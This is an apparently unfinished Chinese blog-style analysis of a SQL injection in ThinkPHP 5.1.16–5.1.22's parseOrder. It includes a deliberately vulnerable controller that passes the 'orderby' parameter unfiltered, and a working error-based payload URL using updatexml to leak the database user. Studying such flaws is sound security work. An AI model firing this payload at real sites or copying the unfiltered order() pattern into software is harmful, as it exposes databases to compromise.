漏洞概述
本次漏洞存在于 Builder 类的 parseOrder 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。漏洞影响版本: 5.1.16<=ThinkPHP5<=5.1.22 。
环境
composer create-project topthink/think=5.0.10 tp5010
composer.json文件:
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.22"
}
更新:执行composer update
接下来设置漏洞点和配置数据库
将 application/index/controller/Index.php 文件代码设置如下:
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$orderby = request()->get('orderby');
$result = db('users')->where(['username' => 'mochazz'])->order($orderby)->find();
var_dump($result);
}
}
创建数据库信息如下:
create database tpdemo;
use tpdemo;
create table users(
id int primary key auto_increment,
username varchar(50) not null
);
insert into users(id,username) values(1,'wtz');
在 config/database.php 文件中配置数据库相关信息
开启 config/app.php 中的 app_debug 和 app_trace
漏洞分析
payload:
http://127.0.0.1:88/tp51/public/index.php/index/index/?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1
照例,先去github上看看版本更新
可以看到,
他添加了一个 if 语句判断,来过滤 )、# 两个符号。
我们开始debug来分析漏洞
目前我们审计前需要知道的知识:
1:我们get方式提交的数据都会通过input 方法获取数据,并通过 filterValue 方法进行简单过滤,但是根本没有对数组的键进行过滤处理。
2:用户输入的数据会原样进入框架的 SQL 查询方法中:(这个点得记住,框架的sql查询方法先进入 Query 类)
简单顺了一下思路,明天再写吧233,审计其实很简单,就是写出来要费不少时间。。